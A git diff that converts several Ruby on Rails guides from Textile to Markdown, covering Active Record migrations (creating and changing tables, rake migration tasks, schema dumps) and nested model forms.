-old-style using the +up+ and +down+ methods. This is because Rails needs to know
+old-style using the `up` and `down` methods. This is because Rails needs to know
the original data types defined when you made the original changes.
-Also the generator accepts column type as +references+(also available as +belongs_to+), for instance
+Also, the generator accepts column type as `references`(also available as `belongs_to`). For instance
-<shell>
+```bash
$ rails generate migration AddUserRefToProducts user:references
-</shell>
+```
generates
-<ruby>
+```ruby
class AddUserRefToProducts < ActiveRecord::Migration
def change
add_reference :products, :user, :index => true
end
end
-</ruby>
+```
This migration will create a user_id column and appropriate index.
-h4. Supported type modifiers
+### Supported Type Modifiers
You can also specify some options just after the field type between curly braces. You can use the
following modifiers:
-* +limit+ Sets the maximum size of the +string/text/binary/integer+ fields
-* +precision+ Defines the precision for the +decimal+ fields
-* +scale+ Defines the scale for the +decimal+ fields
-* +polymorphic+ Adds a +type+ column for +belongs_to+ associations
+* `limit` Sets the maximum size of the `string/text/binary/integer` fields
+* `precision` Defines the precision for the `decimal` fields
+* `scale` Defines the scale for the `decimal` fields
+* `polymorphic` Adds a `type` column for `belongs_to` associations
-For instance running
+For instance, running
-<shell>
+```bash
$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic}
-</shell>
+```
will produce a migration that looks like this
-<ruby>
+```ruby
class AddDetailsToProducts < ActiveRecord::Migration
def change
- add_column :products, :price, :precision => 5, :scale => 2
+ add_column :products, :price, :precision => 5, :scale => 2
add_reference :products, :user, :polymorphic => true, :index => true
end
end
-</ruby>
+```
-h3. Writing a Migration
+Writing a Migration
+-------------------
Once you have created your migration using one of the generators it's time to
get to work!
-h4. Creating a Table
+### Creating a Table
-Migration method +create_table+ will be one of your workhorses. A typical use
+Migration method `create_table` will be one of your workhorses. A typical use
would be
-<ruby>
+```ruby
create_table :products do |t|
t.string :name
end
-</ruby>
+```
-which creates a +products+ table with a column called +name+ (and as discussed
-below, an implicit +id+ column).
+which creates a `products` table with a column called `name` (and as discussed
+below, an implicit `id` column).
The object yielded to the block allows you to create columns on the table. There
are two ways of doing it. The first (traditional) form looks like
-<ruby>
+```ruby
create_table :products do |t|
t.column :name, :string, :null => false
end
-</ruby>
+```
The second form, the so called "sexy" migration, drops the somewhat redundant
-+column+ method. Instead, the +string+, +integer+, etc. methods create a column
+`column` method. Instead, the `string`, `integer`, etc. methods create a column
of that type. Subsequent parameters are the same.
-<ruby>
+```ruby
create_table :products do |t|
t.string :name, :null => false
end
-</ruby>
+```
-By default, +create_table+ will create a primary key called +id+. You can change
-the name of the primary key with the +:primary_key+ option (don't forget to
+By default, `create_table` will create a primary key called `id`. You can change
+the name of the primary key with the `:primary_key` option (don't forget to
update the corresponding model) or, if you don't want a primary key at all (for
-example for a HABTM join table), you can pass the option +:id => false+. If you
+example for a HABTM join table), you can pass the option `:id => false`. If you
need to pass database specific options you can place an SQL fragment in the
-+:options+ option. For example,
+`:options` option. For example,
-<ruby>
+```ruby
create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
t.string :name, :null => false
end
-</ruby>
+```
-will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table
-(when using MySQL, the default is +ENGINE=InnoDB+).
+will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
+(when using MySQL, the default is `ENGINE=InnoDB`).
-h4. Creating a Join Table
+### Creating a Join Table
-Migration method +create_join_table+ creates a HABTM join table. A typical use
+Migration method `create_join_table` creates a HABTM join table. A typical use
would be
-<ruby>
+```ruby
create_join_table :products, :categories
-</ruby>
+```
-which creates a +categories_products+ table with two columns called +category_id+ and +product_id+.
-These columns have the option +:null+ set to +false+ by default.
+which creates a `categories_products` table with two columns called `category_id` and `product_id`.
+These columns have the option `:null` set to `false` by default.
-You can pass the option +:table_name+ with you want to customize the table name. For example,
+You can pass the option `:table_name` with you want to customize the table name. For example,
-<ruby>
+```ruby
create_join_table :products, :categories, :table_name => :categorization
-</ruby>
+```
-will create a +categorization+ table.
+will create a `categorization` table.
-By default, +create_join_table+ will create two columns with no options, but you can specify these
-options using the +:column_options+ option. For example,
+By default, `create_join_table` will create two columns with no options, but you can specify these
+options using the `:column_options` option. For example,
-<ruby>
+```ruby
create_join_table :products, :categories, :column_options => {:null => true}
-</ruby>
+```
-will create the +product_id+ and +category_id+ with the +:null+ option as +true+.
+will create the `product_id` and `category_id` with the `:null` option as `true`.
-h4. Changing Tables
+### Changing Tables
-A close cousin of +create_table+ is +change_table+, used for changing existing
-tables. It is used in a similar fashion to +create_table+ but the object yielded
+A close cousin of `create_table` is `change_table`, used for changing existing
+tables. It is used in a similar fashion to `create_table` but the object yielded
to the block knows more tricks. For example
-<ruby>
+```ruby
change_table :products do |t|
t.remove :description, :name
t.string :part_number
t.index :part_number
t.rename :upccode, :upc_code
end
-</ruby>
+```
-removes the +description+ and +name+ columns, creates a +part_number+ string
-column and adds an index on it. Finally it renames the +upccode+ column.
+removes the `description` and `name` columns, creates a `part_number` string
+column and adds an index on it. Finally it renames the `upccode` column.
-h4. Special Helpers
+### Special Helpers
Active Record provides some shortcuts for common functionality. It is for
-example very common to add both the +created_at+ and +updated_at+ columns and so
+example very common to add both the `created_at` and `updated_at` columns and so
there is a method that does exactly that:
-<ruby>
+```ruby
create_table :products do |t|
t.timestamps
end
-</ruby>
+```
-will create a new products table with those two columns (plus the +id+ column)
+will create a new products table with those two columns (plus the `id` column)
whereas
-<ruby>
+```ruby
change_table :products do |t|
t.timestamps
end
-</ruby>
+```
adds those columns to an existing table.
-Another helper is called +references+ (also available as +belongs_to+). In its
+Another helper is called `references` (also available as `belongs_to`). In its
simplest form it just adds some readability.
-<ruby>
+```ruby
create_table :products do |t|
t.references :category
end
-</ruby>
+```
-will create a +category_id+ column of the appropriate type. Note that you pass
-the model name, not the column name. Active Record adds the +_id+ for you. If
-you have polymorphic +belongs_to+ associations then +references+ will add both
+will create a `category_id` column of the appropriate type. Note that you pass
+the model name, not the column name. Active Record adds the `_id` for you. If
+you have polymorphic `belongs_to` associations then `references` will add both
of the columns required:
-<ruby>
+```ruby
create_table :products do |t|
t.references :attachment, :polymorphic => {:default => 'Photo'}
end
-</ruby>
+```
-will add an +attachment_id+ column and a string +attachment_type+ column with
-a default value of 'Photo'. +references+ also allows you to define an
-index directly, instead of using +add_index+ after the +create_table+ call:
+will add an `attachment_id` column and a string `attachment_type` column with
+a default value of 'Photo'. `references` also allows you to define an
+index directly, instead of using `add_index` after the `create_table` call:
-<ruby>
+```ruby
create_table :products do |t|
t.references :category, :index => true
end
-</ruby>
+```
will create an index identical to calling `add_index :products, :category_id`.
-NOTE: The +references+ helper does not actually create foreign key constraints
-for you. You will need to use +execute+ or a plugin that adds "foreign key
-support":#active-record-and-referential-integrity.
+NOTE: The `references` helper does not actually create foreign key constraints
+for you. You will need to use `execute` or a plugin that adds [foreign key
+support](#active-record-and-referential-integrity).
-If the helpers provided by Active Record aren't enough you can use the +execute+
+If the helpers provided by Active Record aren't enough you can use the `execute`
method to execute arbitrary SQL.
-For more details and examples of individual methods, check the API documentation,
-in particular the documentation for
-"<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html
-(which provides the methods available in the +up+ and +down+ methods),
-"<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html
-(which provides the methods available on the object yielded by +create_table+)
+For more details and examples of individual methods, check the API documentation.
+In particular the documentation for
+[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html)
+(which provides the methods available in the `up` and `down` methods),
+[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html)
+(which provides the methods available on the object yielded by `create_table`)
and
-"<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html
-(which provides the methods available on the object yielded by +change_table+).
+[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html)
+(which provides the methods available on the object yielded by `change_table`).
-h4. Using the +change+ Method
+### Using the `change` Method
-The +change+ method removes the need to write both +up+ and +down+ methods in
+The `change` method removes the need to write both `up` and `down` methods in
those cases that Rails knows how to revert the changes automatically. Currently,
-the +change+ method supports only these migration definitions:
+the `change` method supports only these migration definitions:
-* +add_column+
-* +add_index+
-* +add_timestamps+
-* +create_table+
-* +remove_timestamps+
-* +rename_column+
-* +rename_index+
-* +rename_table+
+* `add_column`
+* `add_index`
+* `add_timestamps`
+* `create_table`
+* `remove_timestamps`
+* `rename_column`
+* `rename_index`
+* `rename_table`
If you're going to need to use any other methods, you'll have to write the
-+up+ and +down+ methods instead of using the +change+ method.
+`up` and `down` methods instead of using the `change` method.
-h4. Using the +up+/+down+ Methods
+### Using the `up`/`down` Methods
-The +down+ method of your migration should revert the transformations done by
-the +up+ method. In other words, the database schema should be unchanged if you
-do an +up+ followed by a +down+. For example, if you create a table in the +up+
-method, you should drop it in the +down+ method. It is wise to reverse the
-transformations in precisely the reverse order they were made in the +up+
+The `down` method of your migration should revert the transformations done by
+the `up` method. In other words, the database schema should be unchanged if you
+do an `up` followed by a `down`. For example, if you create a table in the `up`
+method, you should drop it in the `down` method. It is wise to reverse the
+transformations in precisely the reverse order they were made in the `up`
method. For example,
-<ruby>
+```ruby
class ExampleMigration < ActiveRecord::Migration
def up
create_table :products do |t|
@@ -605,26 +608,27 @@ class ExampleMigration < ActiveRecord::Migration
drop_table :products
end
end
-</ruby>
+```
Sometimes your migration will do something which is just plain irreversible; for
example, it might destroy some data. In such cases, you can raise
-+ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries
+`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries
to revert your migration, an error message will be displayed saying that it
can't be done.
-h3. Running Migrations
+Running Migrations
+------------------
Rails provides a set of rake tasks to work with migrations which boil down to
running certain sets of migrations.
The very first migration related rake task you will use will probably be
-+rake db:migrate+. In its most basic form it just runs the +up+ or +change+
+`rake db:migrate`. In its most basic form it just runs the `up` or `change`
method for all the migrations that have not yet been run. If there are
no such migrations, it exits. It will run these migrations in order based
on the date of the migration.
-Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which
+Note that running the `db:migrate` also invokes the `db:schema:dump` task, which
will update your db/schema.rb file to match the structure of your database.
If you specify a target version, Active Record will run the required migrations
@@ -632,97 +636,93 @@ If you specify a target version, Active Record will run the required migrations
is the numerical prefix on the migration's filename. For example, to migrate
to version 20080906120000 run
-<shell>
+```bash
$ rake db:migrate VERSION=20080906120000
-</shell>
+```
If version 20080906120000 is greater than the current version (i.e., it is
-migrating upwards), this will run the +up+ method on all migrations up to and
+migrating upwards), this will run the `up` method on all migrations up to and
including 20080906120000, and will not execute any later migrations. If
-migrating downwards, this will run the +down+ method on all the migrations
+migrating downwards, this will run the `down` method on all the migrations
down to, but not including, 20080906120000.
-h4. Rolling Back
+### Rolling Back
-A common task is to rollback the last migration, for example if you made a
+A common task is to rollback the last migration. For example, if you made a
mistake in it and wish to correct it. Rather than tracking down the version
number associated with the previous migration you can run
-<shell>
+```bash
$ rake db:rollback
-</shell>
+```
-This will run the +down+ method from the latest migration. If you need to undo
-several migrations you can provide a +STEP+ parameter:
+This will run the `down` method from the latest migration. If you need to undo
+several migrations you can provide a `STEP` parameter:
-<shell>
+```bash
$ rake db:rollback STEP=3
-</shell>
+```
-will run the +down+ method from the last 3 migrations.
+will run the `down` method from the last 3 migrations.
-The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating
-back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter
+The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
+back up again. As with the `db:rollback` task, you can use the `STEP` parameter
if you need to go more than one version back, for example
-<shell>
+```bash
$ rake db:migrate:redo STEP=3
-</shell>
+```
-Neither of these Rake tasks do anything you could not do with +db:migrate+. They
+Neither of these Rake tasks do anything you could not do with `db:migrate`. They
are simply more convenient, since you do not need to explicitly specify the
version to migrate to.
-h4. Resetting the database
+### Resetting the Database
-The +rake db:reset+ task will drop the database, recreate it and load the
+The `rake db:reset` task will drop the database, recreate it and load the
current schema into it.
NOTE: This is not the same as running all the migrations - see the section on
-"schema.rb":#schema-dumping-and-you.
+[schema.rb](#schema-dumping-and-you).
-h4. Running specific migrations
+### Running Specific Migrations
-If you need to run a specific migration up or down, the +db:migrate:up+ and
-+db:migrate:down+ tasks will do that. Just specify the appropriate version and
-the corresponding migration will have its +up+ or +down+ method invoked, for
+If you need to run a specific migration up or down, the `db:migrate:up` and
+`db:migrate:down` tasks will do that. Just specify the appropriate version and
+the corresponding migration will have its `up` or `down` method invoked, for
example,
-<shell>
+```bash
$ rake db:migrate:up VERSION=20080906120000
-</shell>
+```
-will run the +up+ method from the 20080906120000 migration. This task will first
+will run the `up` method from the 20080906120000 migration. This task will first
check whether the migration is already performed and will do nothing if Active Record believes
that it has already been run.
-h4. Changing the output of running migrations
+### Changing the Output of Running Migrations
By default migrations tell you exactly what they're doing and how long it took.
A migration creating a table and adding an index might produce output like this
-<shell>
+```bash
== CreateProducts: migrating =================================================
-- create_table(:products)
-> 0.0028s
== CreateProducts: migrated (0.0028s) ========================================
-</shell>
+```
Several methods are provided in migrations that allow you to control all this:
-|_.Method |_.Purpose|
-|suppress_messages |Takes a block as an argument and suppresses any output
- generated by the block.|
-|say |Takes a message argument and outputs it as is. A second
- boolean argument can be passed to specify whether to
- indent or not.|
-|say_with_time |Outputs text along with how long it took to run its
- block. If the block returns an integer it assumes it
- is the number of rows affected.|
+| Method | Purpose
+| -------------------- | -------
+| suppress_messages | Takes a block as an argument and suppresses any output generated by the block.
+| say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not.
+| say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
For example, this migration
-<ruby>
+```ruby
class CreateProducts < ActiveRecord::Migration
def change
suppress_messages do
@@ -741,11 +741,11 @@ class CreateProducts < ActiveRecord::Migration
end
end
end
-</ruby>
+```
generates the following output
-<shell>
+```bash
== CreateProducts: migrating =================================================
-- Created a table
-> and an index!
@@ -753,12 +753,13 @@ generates the following output
-> 10.0013s
-> 250 rows
== CreateProducts: migrated (10.0054s) =======================================
-</shell>
+```
-If you want Active Record to not output anything, then running +rake db:migrate
-VERBOSE=false+ will suppress all output.
+If you want Active Record to not output anything, then running `rake db:migrate
+VERBOSE=false` will suppress all output.
-h3. Using Models in Your Migrations
+Using Models in Your Migrations
+-------------------------------
When creating or updating data in a migration it is often tempting to use one of
your models. After all, they exist to provide easy access to the underlying
@@ -769,15 +770,15 @@ not currently in the database and (2) will be created by this or a subsequent
migration.
Consider this example, where Alice and Bob are working on the same code base
-which contains a +Product+ model:
+which contains a `Product` model:
Bob goes on vacation.
-Alice creates a migration for the +products+ table which adds a new column and
-initializes it. She also adds a validation to the +Product+ model for the new
+Alice creates a migration for the `products` table which adds a new column and
+initializes it. She also adds a validation to the `Product` model for the new
column.
-<ruby>
+```ruby
# db/migrate/20100513121110_add_flag_to_product.rb
class AddFlagToProduct < ActiveRecord::Migration
@@ -786,21 +787,21 @@ class AddFlagToProduct < ActiveRecord::Migration
Product.update_all :flag => false
end
end
-</ruby>
+```
-<ruby>
+```ruby
# app/model/product.rb
class Product < ActiveRecord::Base
validates :flag, :presence => true
end
-</ruby>
+```
Alice adds a second migration which adds and initializes another column to the
-+products+ table and also adds a validation to the +Product+ model for the new
+`products` table and also adds a validation to the `Product` model for the new
column.
-<ruby>
+```ruby
# db/migrate/20100515121110_add_fuzz_to_product.rb
class AddFuzzToProduct < ActiveRecord::Migration
@@ -809,46 +810,46 @@ class AddFuzzToProduct < ActiveRecord::Migration
Product.update_all :fuzz => 'fuzzy'
end
end
-</ruby>
+```
-<ruby>
+```ruby
# app/model/product.rb
class Product < ActiveRecord::Base
validates :flag, :fuzz, :presence => true
end
-</ruby>
+```
Both migrations work for Alice.
Bob comes back from vacation and:
-# Updates the source - which contains both migrations and the latest version of
-the Product model.
-# Runs outstanding migrations with +rake db:migrate+, which
-includes the one that updates the +Product+ model.
+* Updates the source - which contains both migrations and the latest version of
+ the Product model.
+* Runs outstanding migrations with `rake db:migrate`, which
+ includes the one that updates the `Product` model.
The migration crashes because when the model attempts to save, it tries to
validate the second added column, which is not in the database when the _first_
migration runs:
-<plain>
+```
rake aborted!
An error has occurred, this and all later migrations canceled:
undefined method `fuzz' for #<Product:0x000001049b14a0>
-</plain>
+```
-A fix for this is to create a local model within the migration. This keeps rails
+A fix for this is to create a local model within the migration. This keeps Rails
from running the validations, so that the migrations run to completion.
When using a faux model, it's a good idea to call
-+Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the
-+Product+ model prior to updating data in the database.
+`Product.reset_column_information` to refresh the `ActiveRecord` cache for the
+`Product` model prior to updating data in the database.
If Alice had done this instead, there would have been no problem:
-<ruby>
+```ruby
# db/migrate/20100513121110_add_flag_to_product.rb
class AddFlagToProduct < ActiveRecord::Migration
@@ -861,9 +862,9 @@ class AddFlagToProduct < ActiveRecord::Migration
Product.update_all :flag => false
end
end
-</ruby>
+```
-<ruby>
+```ruby
# db/migrate/20100515121110_add_fuzz_to_product.rb
class AddFuzzToProduct < ActiveRecord::Migration
@@ -876,14 +877,15 @@ class AddFuzzToProduct < ActiveRecord::Migration
Product.update_all :fuzz => 'fuzzy'
end
end
-</ruby>
+```
-h3. Schema Dumping and You
+Schema Dumping and You
+----------------------
-h4. What are Schema Files for?
+### What are Schema Files for?
Migrations, mighty as they may be, are not the authoritative source for your
-database schema. That role falls to either +db/schema.rb+ or an SQL file which
+database schema. That role falls to either `db/schema.rb` or an SQL file which
Active Record generates by examining the database. They are not designed to be
edited, they just represent the current state of the database.
@@ -892,35 +894,35 @@ replaying the entire migration history. It is much simpler and faster to just
load into the database a description of the current schema.
For example, this is how the test database is created: the current development
-database is dumped (either to +db/schema.rb+ or +db/structure.sql+) and then
+database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then
loaded into the test database.
Schema files are also useful if you want a quick look at what attributes an
Active Record object has. This information is not in the model's code and is
frequently spread across several migrations, but the information is nicely
summed up in the schema file. The
-"annotate_models":https://github.com/ctran/annotate_models gem automatically
+[annotate_models](https://github.com/ctran/annotate_models) gem automatically
adds and updates comments at the top of each model summarizing the schema if
you desire that functionality.
-h4. Types of Schema Dumps
+### Types of Schema Dumps
-There are two ways to dump the schema. This is set in +config/application.rb+ by
-the +config.active_record.schema_format+ setting, which may be either +:sql+ or
-+:ruby+.
+There are two ways to dump the schema. This is set in `config/application.rb` by
+the `config.active_record.schema_format` setting, which may be either `:sql` or
+`:ruby`.
-If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look
+If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look
at this file you'll find that it looks an awful lot like one very big migration:
-<ruby>
-ActiveRecord::Schema.define(:version => 20080906171750) do
- create_table "authors", :force => true do |t|
+```ruby
+ActiveRecord::Schema.define(version: 20080906171750) do
+ create_table "authors", force: true do |t|
t.string "name"
t.datetime "created_at"
t.datetime "updated_at"
end
- create_table "products", :force => true do |t|
+ create_table "products", force: true do |t|
t.string "name"
t.text "description"
t.datetime "created_at"
@@ -928,51 +930,52 @@ ActiveRecord::Schema.define(:version => 20080906171750) do
t.string "part_number"
end
end
-</ruby>
+```
In many ways this is exactly what it is. This file is created by inspecting the
-database and expressing its structure using +create_table+, +add_index+, and so
+database and expressing its structure using `create_table`, `add_index`, and so
on. Because this is database-independent, it could be loaded into any database
that Active Record supports. This could be very useful if you were to distribute
an application that is able to run against multiple databases.
-There is however a trade-off: +db/schema.rb+ cannot express database specific
+There is however a trade-off: `db/schema.rb` cannot express database specific
items such as foreign key constraints, triggers, or stored procedures. While in
a migration you can execute custom SQL statements, the schema dumper cannot
reconstitute those statements from the database. If you are using features like
-this, then you should set the schema format to +:sql+.
+this, then you should set the schema format to `:sql`.
Instead of using Active Record's schema dumper, the database's structure will be
-dumped using a tool specific to the database (via the +db:structure:dump+ Rake task)
-into +db/structure.sql+. For example, for the PostgreSQL RDBMS, the
-+pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW
-CREATE TABLE+ for the various tables. Loading these schemas is simply a question
+dumped using a tool specific to the database (via the `db:structure:dump` Rake task)
+into `db/structure.sql`. For example, for the PostgreSQL RDBMS, the
+`pg_dump` utility is used. For MySQL, this file will contain the output of `SHOW
+CREATE TABLE` for the various tables. Loading these schemas is simply a question
of executing the SQL statements they contain. By definition, this will create a
-perfect copy of the database's structure. Using the +:sql+ schema format will,
+perfect copy of the database's structure. Using the `:sql` schema format will,
however, prevent loading the schema into a RDBMS other than the one used to
create it.
-h4. Schema Dumps and Source Control
+### Schema Dumps and Source Control
Because schema dumps are the authoritative source for your database schema, it
is strongly recommended that you check them into source control.
-h3. Active Record and Referential Integrity
+Active Record and Referential Integrity
+---------------------------------------
The Active Record way claims that intelligence belongs in your models, not in
the database. As such, features such as triggers or foreign key constraints,
which push some of that intelligence back into the database, are not heavily
used.
-Validations such as +validates :foreign_key, :uniqueness => true+ are one way in
-which models can enforce data integrity. The +:dependent+ option on associations
+Validations such as `validates :foreign_key, :uniqueness => true` are one way in
+which models can enforce data integrity. The `:dependent` option on associations
allows models to automatically destroy child objects when the parent is
destroyed. Like anything which operates at the application level, these cannot
guarantee referential integrity and so some people augment them with foreign key
constraints in the database.
Although Active Record does not provide any tools for working directly with such
-features, the +execute+ method can be used to execute arbitrary SQL. You could
-also use some plugin like "foreigner":https://github.com/matthuhiggins/foreigner
+features, the `execute` method can be used to execute arbitrary SQL. You could
+also use some plugin like [foreigner](https://github.com/matthuhiggins/foreigner)
which add foreign key support to Active Record (including support for dumping
-foreign keys in +db/schema.rb+).
+foreign keys in `db/schema.rb`).
diff --git a/guides/source/nested_model_forms.textile b/guides/source/nested_model_forms.md
index 82c9ab9d36..b5f112e6c9 100644
--- a/guides/source/nested_model_forms.textile
+++ b/guides/source/nested_model_forms.md
@@ -1,4 +1,5 @@
-h2. Rails nested model forms
+Rails nested model forms
+========================
Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
@@ -6,59 +7,60 @@ In this guide you will:
* do stuff
-endprologue.
+--------------------------------------------------------------------------------
-NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/.
+NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it’s **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
-h3. Model setup
+Model setup
+-----------
To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
-First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build.
+First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be build.
If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
-Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+.
+Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`.
-h4. ActiveRecord::Base model
+### ActiveRecord::Base model
-For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method:
+For an ActiveRecord::Base model and association this writer method is commonly defined with the `accepts_nested_attributes_for` class method:
-h5. has_one
+#### has_one
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_one :address
accepts_nested_attributes_for :address
end
-</ruby>
+```
-h5. belongs_to
+#### belongs_to
-<ruby>
+```ruby
class Person < ActiveRecord::Base
belongs_to :firm
accepts_nested_attributes_for :firm
end
-</ruby>
+```
-h5. has_many / has_and_belongs_to_many
+#### has_many / has_and_belongs_to_many
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_many :projects
accepts_nested_attributes_for :projects
end
-</ruby>
+```
-h4. Custom model
+### Custom model
As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour:
-h5. Single associated object
+#### Single associated object
-<ruby>
+```ruby
class Person
def address
Address.new
@@ -68,11 +70,11 @@ class Person
# ...
end
end
-</ruby>
+```
-h5. Association collection
+#### Association collection
-<ruby>
+```ruby
class Person
def projects
[Project.new, Project.new]
@@ -82,19 +84,20 @@ class Person
# ...
end
end
-</ruby>
+```
NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
-h3. Views
+Views
+-----
-h4. Controller code
+### Controller code
A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
-Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template:
+Consider the following typical RESTful controller which will prepare a new Person instance and its `address` and `projects` associations before rendering the `new` template:
-<ruby>
+```ruby
class PeopleController < ActionController:Base
def new
@person = Person.new
@@ -109,37 +112,37 @@ class PeopleController < ActionController:Base
end
end
end
-</ruby>
+```
-NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this.
+NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an `after_initialize` callback which is a good way to refactor this.
-h4. Form code
+### Form code
Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
-h5. Standard form
+#### Standard form
Start out with a regular RESTful form:
-<erb>
+```erb
<%= form_for @person do |f| %>
<%= f.text_field :name %>
<% end %>
-</erb>
+```
This will generate the following html:
-<html>
+```html
<form action="/people" class="new_person" id="new_person" method="post">
<input id="person_name" name="person[name]" type="text" />
</form>
-</html>
+```
-h5. Nested form for a single associated object
+#### Nested form for a single associated object
-Now add a nested form for the +address+ association:
+Now add a nested form for the `address` association:
-<erb>
+```erb
<%= form_for @person do |f| %>
<%= f.text_field :name %>
@@ -147,23 +150,23 @@ Now add a nested form for the +address+ association:
<%= af.text_field :street %>
<% end %>
<% end %>
-</erb>
+```
This generates:
-<html>
+```html
<form action="/people" class="new_person" id="new_person" method="post">
<input id="person_name" name="person[name]" type="text" />
<input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
</form>
-</html>
+```
-Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be built by the way it has namespaced the +name+ attribute.
+Notice that `fields_for` recognized the `address` as an association for which a nested model form should be built by the way it has namespaced the `name` attribute.
When this form is posted the Rails parameter parser will construct a hash like the following:
-<ruby>
+```ruby
{
"person" => {
"name" => "Eloy Duran",
@@ -172,15 +175,15 @@ When this form is posted the Rails parameter parser will construct a hash like t
}
}
}
-</ruby>
+```
-That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved.
+That’s it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved.
-h5. Nested form for a collection of associated objects
+#### Nested form for a collection of associated objects
The form code for an association collection is pretty similar to that of a single associated object:
-<erb>
+```erb
<%= form_for @person do |f| %>
<%= f.text_field :name %>
@@ -188,22 +191,22 @@ The form code for an association collection is pretty similar to that of a singl
<%= pf.text_field :name %>
<% end %>
<% end %>
-</erb>
+```
Which generates:
-<html>
+```html
<form action="/people" class="new_person" id="new_person" method="post">
<input id="person_name" name="person[name]" type="text" />
<input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
<input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
</form>
-</html>
+```
-As you can see it has generated 2 +project name+ inputs, one for each new +project+ that was built in the controller's +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
+As you can see it has generated 2 `project name` inputs, one for each new `project` that was built in the controller's `new` action. Only this time the `name` attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
-<ruby>
+```ruby
{
"person" => {
"name" => "Eloy Duran",
@@ -213,10 +216,10 @@ As you can see it has generated 2 +project name+ inputs, one for each new +proje
}
}
}
-</ruby>
+```
-You can basically see the +projects_attributes+ hash as an array of attribute hashes, one for each model instance.
+You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance.
-NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
+NOTE: The reason that `fields_for` constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
-TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example.
+TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/guides/source/performance_testing.textile b/guides/source/performance_testing.md
index 6c5676c346..f111ce610f 100644
--- a/guides/source/performance_testing.textile
+++ b/guides/source/performance_testing.md
@@ -1,4 +1,5 @@
-h2. Performance Testing Rails Applications
+Performance Testing Rails Applications
+======================================
This guide covers the various ways of performance testing a Ruby on Rails
application. By referring to this guide, you will be able to:
@@ -16,19 +17,20 @@ is completely loaded. Ensuring a pleasant browsing experience for end users and
cutting the cost of unnecessary hardware is important for any non-trivial web
application.
